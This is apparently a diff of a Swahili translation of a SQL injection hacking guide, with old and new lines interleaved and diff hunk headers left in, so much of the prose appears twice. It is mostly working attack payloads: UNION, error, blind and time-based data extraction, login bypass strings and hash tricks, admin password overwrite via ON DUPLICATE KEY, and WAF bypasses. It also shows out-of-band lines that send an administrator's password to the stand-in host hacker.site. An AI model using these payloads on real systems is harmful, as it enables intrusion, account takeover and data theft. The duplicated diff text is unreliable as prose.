Njia bora ya kutambua nyuma ni kujaribu kutekeleza kazi za nyuma tofauti. Unaweza kutumia _**sleep**_ **functions** za sehemu ya awali au hizi (meza kutoka [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
Njia bora ya kutambua back-end ni kujaribu kutekeleza functions za back-end tofauti. Unaweza kutumia _**sleep**_ **functions** za sehemu iliyopita au hizi (jedwali kutoka kwa [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -211,28 +211,29 @@ Njia bora ya kutambua nyuma ni kujaribu kutekeleza kazi za nyuma tofauti. Unawez
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
Pia, ikiwa una ufikiaji wa matokeo ya ombi, unaweza kufanya **kuchapisha toleo la hifadhidata**.
Pia, ikiwa una ufikiaji wa matokeo ya query, unaweza kuifanya ianze kuonyesha **toleo la database**.
> [!TIP]
> Kuendelea tutajadili mbinu tofauti za kutumia aina tofauti za SQL Injection. Tutatumia MySQL kama mfano.
> Kwa kuendelea tutajadili mbinu tofauti za kutumia aina mbalimbali za SQL Injection. Tutatumia MySQL kama mfano.
### Kutambua na PortSwigger
{{#ref}}
https://portswigger.net/web-security/sql-injection/cheat-sheet
{{#endref}}
## Kutumia Union Based
## Exploiting Union Based
### Kugundua idadi ya safu
Ikiwa unaweza kuona matokeo ya ombi hili ndilo njia bora ya kulitumia.\
Kwanza kabisa, tunahitaji kugundua **idadi** ya **safu** ambazo **ombile la awali** linarejesha. Hii ni kwa sababu **ombile zote zinapaswa kurejesha idadi sawa ya safu**.\
Mbinu mbili hutumiwa kawaida kwa kusudi hili:
Ikiwa unaweza kuona matokeo ya query hii ni njia bora ya kuitumia.\
Kwanza kabisa, tunahitaji kubaini **idadi** ya **safu** ambazo **ombi la awali** linarejesha. Hii ni kwa sababu **query zote mbili lazima zirejeshe idadi sawa ya safu**.\
Njia mbili kawaida hutumiwa kwa madhumuni haya:
#### Order/Group by
Ili kubaini idadi ya safu katika ombi, ongeza taratibu nambari inayotumika katika **ORDER BY** au **GROUP BY** vifungu hadi jibu la uongo linapopatikana. Licha ya kazi tofauti za **GROUP BY** na **ORDER BY** ndani ya SQL, zote zinaweza kutumika kwa njia sawa ili kubaini idadi ya safu za ombi.
Ili kubaini idadi ya safu katika query, badilisha kwa hatua namba inayotumika katika vifungu vya **ORDER BY** au **GROUP BY** hadi upoke jibu la uwongo. Licha ya tofauti za kazi za **GROUP BY** na **ORDER BY** ndani ya SQL, zote zinaweza kutumika kwa njia ile ile kubaini idadi ya safu za query.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
@ -250,17 +251,17 @@ Ili kubaini idadi ya safu katika ombi, ongeza taratibu nambari inayotumika katik
```
#### UNION SELECT
Chagua thamani nyingi za null hadi uchunguzi uwe sahihi:
Select null values zaidi na zaidi hadi query iwe sahihi:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_Unapaswa kutumia `null`values kwani katika baadhi ya kesi aina ya safu za pande zote za query lazima iwe sawa na null ni halali katika kila kesi._
_Unapaswa kutumia `null`values kwani katika baadhi ya kesi aina ya safu (columns) za pande zote za query lazima ziwe sawa na `null` inakubalika katika kila kesi._
### Pata majina ya hifadhidata, majina ya meza na majina ya safu
### Chota majina ya hifadhidata, majina ya jedwali na majina ya safu
Katika mifano ifuatayo tutapata jina la hifadhidata zote, jina la meza ya hifadhidata, majina ya safu za meza:
Katika mifano ifuatayo tutachukua majina ya hifadhidata zote, jina la jedwali la hifadhidata, majina ya safu za jedwali:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -271,67 +272,67 @@ Katika mifano ifuatayo tutapata jina la hifadhidata zote, jina la meza ya hifadh
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_Ikuna njia tofauti ya kugundua data hii kwenye kila hifadhidata tofauti, lakini daima ni ile ile mbinu._
_Kuna njia tofauti za kugundua data hii kwa kila hifadhidata tofauti, lakini daima ni methodology ile ile._
## Kutumia Mbinu ya Union Iliyofichwa
## Exploiting Hidden Union Based
Wakati matokeo ya ombi yanaonekana, lakini kuingilia kwa msingi wa umoja kunaonekana kuwa haiwezekani, inamaanisha kuwepo kwa **kuingilia kwa msingi wa umoja iliyofichwa**. Hali hii mara nyingi husababisha hali ya kuingilia kwa kipofu. Ili kubadilisha kuingilia kwa kipofu kuwa ya msingi wa umoja, ombi la utekelezaji kwenye backend linahitaji kutambuliwa.
Wakati matokeo ya query yanaonekana, lakini union-based injection inaonekana isiwezekane, hiyo inaashiria uwepo wa **hidden union-based injection**. Hali hii mara nyingi husababisha mazingira ya blind injection. Ili kubadilisha blind injection kuwa union-based, inahitajika kugundua execution query kwenye backend.
Hii inaweza kufanywa kwa kutumia mbinu za kuingilia kwa kipofu pamoja na meza za kawaida zinazohusiana na Mfumo wa Usimamizi wa Hifadhidata (DBMS) wa lengo lako. Ili kuelewa meza hizi za kawaida, inashauriwa kushauriana na nyaraka za DBMS ya lengo.
Hii inaweza kufanikiwa kwa kutumia blind injection techniques pamoja na default tables maalum za target Database Management System (DBMS) yako. Kwa kuelewa default tables hizi, inashauriwa kushauriana na nyaraka za DBMS ya lengo.
Mara ombi litakapokuwa limetolewa, ni muhimu kubadilisha payload yako ili kufunga salama ombi la awali. Kisha, ombi la umoja linaongezwa kwenye payload yako, kuruhusu matumizi ya kuingilia kwa msingi wa umoja ambayo sasa inapatikana.
Mara query inapotokolewa, inabidi urekebishe payload yako ili kufunga kwa usalama query ya awali. Baadaye, union query inaambatishwa kwenye payload yako, ikirahisisha exploitation ya union-based injection ambayo sasa inapatikana.
Kwa ufahamu zaidi, rejelea makala kamili inayopatikana kwenye [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
Kwa uelewa wa kina zaidi, rejea makala kamili iliyopo kwa [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Kutumia Mbinu ya Kosa
## Exploiting Error based
Ikiwa kwa sababu fulani huwezi kuona **matokeo** ya **ombio** lakini unaweza **kuona ujumbe wa makosa**, unaweza kufanya ujumbe huu wa makosa **kuondoa** data kutoka kwenye hifadhidata.\
Kufuata mtiririko sawa kama katika matumizi ya Union Based unaweza kuweza kudump DB.
Ili kwa sababu fulani **huna** uwezo wa kuona **output** ya **query** lakini unaweza kuona **error messages**, unaweza kutumia error messages hizi ku-ex-filtrate data kutoka kwenye database.\
Kwa kufuata mtiririko unaofanana na ule wa Union Based exploitation unaweza kufanikiwa dump DB.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Kutumia Blind SQLi
## Exploiting Blind SQLi
Katika kesi hii huwezi kuona matokeo ya ombi au makosa, lakini unaweza **kutofautisha** wakati ombi **linarudisha** jibu **la kweli** au **la uongo** kwa sababu kuna maudhui tofauti kwenye ukurasa.\
Katika kesi hii, unaweza kutumia tabia hiyo kutupa hifadhidata herufi kwa herufi:
Katika kesi hii huwezi kuona matokeo ya query au makosa, lakini unaweza **kubaini** wakati query **inarejesha** majibu ya **true** au **false** kwa sababu kuna maudhui tofauti kwenye ukurasa.\
Katika kesi hii, unaweza kutumia tabia hiyo kutoa database herufi kwa herufi:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## Kutumia Makosa ya Blind SQLi
## Exploiting Error Blind SQLi
Hii ni **hali ile ile kama hapo awali** lakini badala ya kutofautisha kati ya jibu la kweli/uwongo kutoka kwa ombi unaweza **kutofautisha kati ya** **makosa** katika ombi la SQL au la (labda kwa sababu seva ya HTTP inashindwa). Hivyo, katika kesi hii unaweza kulazimisha SQLerror kila wakati unapotabiri kwa usahihi herufi:
Hii ni **kesi ile ile kama hapo awali** lakini badala ya kutofautisha kati ya jibu la true/false kutoka kwenye query, unaweza **kutofautisha kati ya** **error** kwenye SQL query au la (labda kwa sababu HTTP server inabomoka). Kwa hivyo, katika kesi hii unaweza kulazimisha SQLerror kila mara unapo makisia char kwa usahihi:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Kutumia SQLi Inayotegemea Wakati
## Kutumia Time Based SQLi
Katika kesi hii **hakuna** njia ya **kutofautisha** **jibu** la ombi kulingana na muktadha wa ukurasa. Lakini, unaweza kufanya ukurasa **uchukue muda mrefu kupakia** ikiwa herufi iliyokisiwa ni sahihi. Tayari tumeshuhudia mbinu hii ikitumika hapo awali ili [kuhakikisha udhaifu wa SQLi](#confirming-with-timing).
Katika kesi hii **hakuna** njia yoyote ya **kutofautisha** **jibu** la query kulingana na muktadha wa ukurasa. Lakini unaweza kufanya ukurasa **uchukue muda mrefu zaidi wa kupakia** ikiwa herufi iliyokadiriwa ni sahihi. Tayari tumeona mbinu hii ikitumika hapo awali ili [confirm a SQLi vuln](#confirming-with-timing).
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Stacked Queries
Unaweza kutumia stacked queries ili **kutekeleza maswali mengi kwa mfululizo**. Kumbuka kwamba wakati maswali yanayofuata yanatekelezwa, **matokeo** hayarejeshwi kwa programu. Hivyo, mbinu hii inatumika hasa kuhusiana na **vulnerabilities za kipofu** ambapo unaweza kutumia swali la pili kuanzisha utafutaji wa DNS, kosa la masharti, au kuchelewesha muda.
Unaweza kutumia stacked queries kutekeleza **queries nyingi mfululizo**. Kumbuka kwamba wakati queries zinazofuata zinapotekelezwa, **matokeo** **hayarejeshwi kwa application**. Kwa hiyo mbinu hii inatumika hasa kwa **blind vulnerabilities** ambapo unaweza kutumia query ya pili kusababisha DNS lookup, kosa la masharti, au ucheleweshaji wa muda.
**Oracle** haisaidii **stacked queries.** **MySQL, Microsoft** na **PostgreSQL** zinaziunga mkono: `QUERY-1-HERE; QUERY-2-HERE`
**Oracle** haina msaada wa **stacked queries.** **MySQL, Microsoft** na **PostgreSQL** zinaunga mkono: `QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
Ikiwa **hakuna njia nyingine** ya unyakuzi **iliyofanya kazi**, unaweza kujaribu kufanya **database iwasilishe** taarifa kwa **mwenyeji wa nje** anayedhibitiwa na wewe. Kwa mfano, kupitia maswali ya DNS:
Ikiwa hakuna njia nyingine ya **exploitation** iliyofanya kazi, unaweza kujaribu kufanya **database ex-filtrate** taarifa kwa **external host** unayedhibiti. Kwa mfano, kupitia DNS queries:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### Uhamasishaji wa data nje ya bendi kupitia XXE
### Utolewaji wa data nje ya njia kupitia XXE
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
## Automated Exploitation
## Utekelezaji wa kiotomatiki
Angalia [SQLMap Cheatsheet](sqlmap/index.html) ili kutumia udhaifu wa SQLi na [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
Angalia [SQLMap Cheatsheet](sqlmap/index.html) ili kutumia udhaifu wa SQLi kwa kutumia [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
## Tech specific info
## Maelezo maalum ya teknolojia
Tumesha jadili njia zote za kutumia udhaifu wa SQL Injection. Pata mbinu zaidi zinazotegemea teknolojia za hifadhidata katika kitabu hiki:
Tayari tumeshazungumzia njia zote za kutumia udhaifu wa SQL Injection. Pata mbinu zaidi zinazotegemea teknolojia za hifadhidata katika kitabu hiki:
- [MS Access](ms-access-sql-injection.md)
- [MSSQL](mssql-injection.md)
@ -339,11 +340,11 @@ Tumesha jadili njia zote za kutumia udhaifu wa SQL Injection. Pata mbinu zaidi z
- [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/index.html)
Au utaona **mbinu nyingi kuhusu: MySQL, PostgreSQL, Oracle, MSSQL, SQLite na HQL katika** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
Au utapata **mbinu nyingi kuhusu: MySQL, PostgreSQL, Oracle, MSSQL, SQLite na HQL katika** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Authentication bypass
## Kupitisha uthibitisho
Orodha ya kujaribu kupita kazi ya kuingia:
Orodha ya njia za kujaribu kupitisha fomu ya kuingia:
{{#ref}}
@ -354,33 +355,33 @@ Orodha ya kujaribu kupita kazi ya kuingia:
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
Hii query inaonyesha udhaifu wakati MD5 inatumika na kweli kwa pato la raw katika ukaguzi wa uthibitishaji, ikifanya mfumo uwe na hatari ya SQL injection. Washambuliaji wanaweza kutumia hii kwa kuunda pembejeo ambazo, zinapohashwa, zinatoa sehemu zisizotarajiwa za amri za SQL, na kusababisha ufikiaji usioidhinishwa.
Hoja hii inaonyesha udhaifu wakati MD5 inatumiwa na true kwa raw output katika ukaguzi wa uthibitishaji, na kufanya mfumo uweze kuathirika na SQL injection. Wadukuzi wanaweza kutumia hili kwa kutengeneza maingizo ambayo, zikichakatwa kwa hash, hutengeneza sehemu zisizotarajiwa za amri za SQL, na kusababisha upatikanaji usioidhinishwa.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```
### Kupita Uthibitisho wa Hash ulioingizwa
### Imeingizwa hash authentication Bypass
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**Orodha iliyo pendekezwa**:
**Orodha iliyopendekezwa**:
Unapaswa kutumia kama jina la mtumiaji kila mstari wa orodha na kama nywila daima: _**Pass1234.**_\
_(Hizi payloads pia zimejumuishwa katika orodha kubwa iliyotajwa mwanzoni mwa sehemu hii)_
Unapaswa kutumia kama username kila mstari wa orodha na kama password kila wakati: _**Pass1234.**_\
_(payloads hizi pia ziko katika orodha kubwa iliyotajwa mwanzoni mwa sehemu hii)_
{{#file}}
sqli-hashbypass.txt
{{#endfile}}
### GBK Uthibitishaji Bypass
### GBK Authentication Bypass
KAMA ' inasafishwa unaweza kutumia %A8%27, na wakati ' inasafishwa itaundwa: 0xA80x5c0x27 (_╘'_)
Ikiwa ' inafanyiwa escape unaweza kutumia %A8%27, na wakati ' inapofanyiwa escape itaundwa: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
```
Python script:
Skripti ya Python:
```python
import requests
url = "http://example.com/index.php"
@ -397,64 +398,64 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
### Modify password of existing object/user
Ili kufanya hivyo unapaswa kujaribu **kuunda kitu kipya kinachoitwa "master object"** (labda **admin** katika kesi ya watumiaji) ukibadilisha kitu:
Ili kufanya hivyo unapaswa kujaribu **kuunda object mpya yenye jina la "master object"** (labda **admin** kwa watumiaji) kwa kubadilisha kitu fulani:
- Unda mtumiaji anayeitwa: **AdMIn** (herufi kubwa na ndogo)
- Unda mtumiaji anayeitwa: **admin=**
- **SQL Truncation Attack** (wakati kuna aina fulani ya **mipaka ya urefu** katika jina la mtumiaji au barua pepe) --> Unda mtumiaji mwenye jina: **admin \[a lot of spaces] a**
- Create user named: **AdMIn** (uppercase & lowercase letters)
- Create a user named: **admin=**
- **SQL Truncation Attack** (when there is some kind of **length limit** in the username or email) --> Create user with name: **admin \[a lot of spaces] a**
#### SQL Truncation Attack
Ikiwa database ina udhaifu na idadi ya juu ya herufi kwa jina la mtumiaji ni kwa mfano 30 na unataka kujifanya kuwa mtumiaji **admin**, jaribu kuunda jina la mtumiaji linaloitwa: "_admin \[30 spaces] a_" na nenosiri lolote.
If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user **admin**, try to create a username called: "_admin \[30 spaces] a_" and any password.
Database itakagua ikiwa **jina la mtumiaji** lililoingizwa **lipo** ndani ya database. Ikiwa **siyo**, itakata **jina la mtumiaji** hadi **idadi ya juu ya herufi inayoruhusiwa** (katika kesi hii hadi: "_admin \[25 spaces]_") na kisha itafuta **moja kwa moja nafasi zote mwishoni ikisasisha** ndani ya database mtumiaji "**admin**" kwa **nenosiri jipya** (kosa fulani linaweza kuonekana lakini haimaanishi kwamba hii haijafanya kazi).
The database will **check** if the introduced **username** **exists** inside the database. If **not**, it will **cut** the **username** to the **max allowed number of characters** (in this case to: "_admin \[25 spaces]_") and the it will **automatically remove all the spaces at the end updating** inside the database the user "**admin**" with the **new password** (some error could appear but it doesn't means that this hasn't worked).
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Note: Huu shambulio hautafanya kazi tena kama ilivyoelezwa hapo juu katika usakinishaji wa hivi karibuni wa MySQL. Ingawa kulinganisha bado kunapuuzilia mbali nafasi za mwisho kwa chaguo-msingi, kujaribu kuingiza mfuatano mrefu zaidi ya urefu wa uwanja kutasababisha kosa, na kuingiza kutashindwa. Kwa maelezo zaidi kuhusu hii angalia:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
_Kumbuka: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL Insert time based checking
Ongeza `','',''` nyingi kadri unavyofikiri ili kutoka kwenye taarifa za VALUES. Ikiwa kuchelewesha kutelezwa, una SQLInjection.
Add as much `','',''` as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
The `ON DUPLICATE KEY UPDATE` clause in MySQL inatumika kufafanua hatua za kuchukuliwa na hifadhidata wakati jaribio linafanywa kuingiza safu ambayo itasababisha thamani ya nakala katika index ya UNIQUE au PRIMARY KEY. Mfano ufuatao unaonyesha jinsi kipengele hiki kinaweza kutumiwa kubadilisha nywila ya akaunti ya msimamizi:
Klausu ya `ON DUPLICATE KEY UPDATE` katika MySQL hutumika kuainisha hatua ambazo database itachukua wakati inapojaribu kuingiza safu ambayo ingesababisha thamani rudufu katika index ya `UNIQUE` au `PRIMARY KEY`. Mfano ufuatao unaonyesha jinsi kipengele hiki kinaweza kutumika kubadilisha nywila ya akaunti ya msimamizi:
Mfano wa Payload Injection:
Mfano Payload Injection:
Payload ya kuingiza inaweza kuandaliwa kama ifuatavyo, ambapo safu mbili zinajaribiwa kuingizwa kwenye jedwali la `users`. Safu ya kwanza ni ya kudanganya, na safu ya pili inalenga barua pepe ya msimamizi aliyepo kwa nia ya kubadilisha nywila:
Inawezekana injection payload itatengenezwa kama ifuatavyo, ambapo mistari miwili inajaribiwa kuingizwa kwenye jedwali la `users`. Safu ya kwanza ni decoy, na safu ya pili inalenga barua pepe ya msimamizi aliyepo kwa lengo la kubadilisha nywila:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
Hapa kuna jinsi inavyofanya kazi:
Hivi ndivyo inavyofanya kazi:
- Uchunguzi unajaribu kuingiza safu mbili: moja kwa `generic_user@example.com` na nyingine kwa `admin_generic@example.com`.
- Ikiwa safu ya `admin_generic@example.com` tayari ipo, kipengele cha `ON DUPLICATE KEY UPDATE` kinachochea, kikimwambia MySQL kuboresha uwanja wa `password` wa safu iliyopo kuwa "bcrypt_hash_of_newpassword".
- Kwa hivyo, uthibitishaji unaweza kujaribiwa kwa kutumia `admin_generic@example.com` na nenosiri linalolingana na hash ya bcrypt ("bcrypt_hash_of_newpassword" inawakilisha hash ya bcrypt ya nenosiri jipya, ambayo inapaswa kubadilishwa na hash halisi ya nenosiri linalotakiwa).
- The query attempts to insert two rows: one for `generic_user@example.com` and another for `admin_generic@example.com`.
- Iwapo rekodi ya `admin_generic@example.com` tayari ipo, kifungu cha `ON DUPLICATE KEY UPDATE` kinachotumika, kikimtaka MySQL kusasisha uwanja wa `password` wa rekodi iliyopo hadi "bcrypt_hash_of_newpassword".
- Kwa sababu hiyo, authentication inaweza kisha kujaribiwa kwa kutumia `admin_generic@example.com` na nenosiri linalolingana na bcrypt hash ("bcrypt_hash_of_newpassword" inawakilisha bcrypt hash ya nenosiri jipya, ambalo linapaswa kubadilishwa na hash halisi ya nenosiri unayotaka).
### Toa taarifa
### Pata taarifa
#### Kuunda akaunti 2 kwa wakati mmoja
#### Kuunda 2 akaunti kwa wakati mmoja
Unapojaribu kuunda mtumiaji mpya, jina la mtumiaji, nenosiri na barua pepe zinahitajika:
Unapojaribu kuunda mtumiaji mpya, jina la mtumiaji, nenosiri na email zinahitajika:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### Kutumia desimali au hexadecimal
#### Kutumia desimali au hexadesimali
Kwa mbinu hii unaweza kutoa taarifa kwa kuunda akaunti 1 tu. Ni muhimu kutambua kwamba huwezi kuhitaji kutoa maoni yoyote.
Kwa mbinu hii unaweza kupata taarifa kwa kuunda akaunti 1 tu. Ni muhimu kutambua kwamba huna haja ya kuandika maoni yoyote.
Kutumia **hex2dec** na **substr**:
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
Ili kupata maandiko unaweza kutumia:
Ili kupata maandishi, unaweza kutumia:
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
@ -469,9 +470,9 @@ Kutumia **hex** na **replace** (na **substr**):
```
## Routed SQL injection
Routed SQL injection ni hali ambapo swali linaloweza kuingizwa siyo lile linalotoa matokeo bali matokeo ya swali linaloweza kuingizwa yanaenda kwa swali linalotoa matokeo. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Routed SQL injection ni hali ambapo injectable query si ile ambayo hutoa output, bali output ya injectable query inaenda kwa query nyingine ambayo hutoa output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Example:
Mfano:
```
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
@ -482,7 +483,7 @@ Example:
### No spaces bypass
No Space (%20) - bypass kutumia mbadala za nafasi
No Space (%20) - bypass kwa kutumia mbadala za whitespace
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -491,31 +492,31 @@ No Space (%20) - bypass kutumia mbadala za nafasi
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
No Whitespace - kupita kwa kutumia maoni
No Whitespace - bypass kwa kutumia comments
```sql
?id=1/*comment*/and/**/1=1/**/--
```
Hakuna Nafasi - kupita kutumia mabano
No Whitespace - bypass kwa kutumia mabano
```sql
?id=(1)and(1)=(1)--
```
### No commas bypass
No Comma - bypass kutumia OFFSET, FROM na JOIN
No Comma - bypass kwa kutumia OFFSET, FROM na JOIN
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### Generic Bypasses
### Mabypass ya Jumla
Blacklist kutumia maneno muhimu - bypass kutumia herufi kubwa/ndogo
Blacklist kwa kutumia maneno muhimu - bypass kwa kutumia herufi kubwa/herufi ndogo
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
Blacklist kutumia maneno muhimu bila kujali herufi - pitisha kwa kutumia opereta sawa
Kuzuia kwa kutumia maneno muhimu bila kujali herufi - kupitisha kwa kutumia operator sawa
```
AND -> && -> %26%26
OR -> || -> %7C%7C
@ -523,20 +524,20 @@ OR -> || -> %7C%7C
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### Scientific Notation WAF bypass
### Notesheni ya kisayansi WAF bypass
Unaweza kupata maelezo zaidi kuhusu hila hii katika [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Kimsingi unaweza kutumia noti ya kisayansi kwa njia zisizotarajiwa ili kuipita WAF:
Unaweza kupata maelezo ya kina zaidi kuhusu mbinu hii kwenye [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Kimsingi unaweza kutumia notesheni ya kisayansi kwa njia zisizotarajiwa ili WAF i-bypass:
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### Bypass Column Names Restriction
### Kuepuka Kizuizi cha Majina ya Safu
Kwanza kabisa, zingatia kwamba ikiwa **swali la asili na jedwali ambalo unataka kutoa bendera kutoka lina idadi sawa ya safu** unaweza tu kufanya: `0 UNION SELECT * FROM flag`
Kwanza kabisa, kumbuka kwamba ikiwa **query ya awali na jedwali ambalo unataka kutoa flag kutoka vina idadi sawa ya safu** unaweza tu kufanya: `0 UNION SELECT * FROM flag`
Inawezekana **kufikia safu ya tatu ya jedwali bila kutumia jina lake** kwa kutumia swali kama ifuatavyo: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, hivyo katika sqlinjection hii itakuwa kama:
Inawezekana **kupata safu ya tatu ya jedwali bila kutumia jina lake** kwa kutumia query kama ifuatavyo: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, hivyo katika sqlinjection hii itakuwa kama:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
@ -546,9 +547,36 @@ Au kutumia **comma bypass**:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
Hila hii ilichukuliwa kutoka [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
Triki hii ilichukuliwa kutoka [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
### Zana za kupendekeza WAF bypass
### Column/tablename injection in SELECT list via subqueries
Ikiwa input ya mtumiaji inachanganywa katika SELECT list au table/column identifiers, prepared statements hazitasaidia kwa sababu bind parameters hulinda tu values, si identifiers. Mfano wa kawaida wa muundo wenye udhaifu ni:
```php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
```
Wazo la exploitation: inject a subquery kwenye field position ili exfiltrate arbitrary data:
```sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
```
Maelezo:
- Hii inafanya kazi hata wakati WHERE clause inatumia bound parameter, kwa sababu identifier list bado ime-string-concatenated.
- Baadhi ya stacks pia zinakuwezesha kudhibiti table name (tablename injection), kuruhusu cross-table reads.
- Output sinks zinaweza kuonyesha selected value ndani ya HTML/JSON, kuruhusu XSS au token exfiltration moja kwa moja kutoka kwa response.
Mikakati ya kupunguza:
- Usiwahi concatenate identifiers kutoka kwa ingizo la mtumiaji. Ramikisha allowed column names kwenye fixed allow-list na quote identifiers ipasavyo.
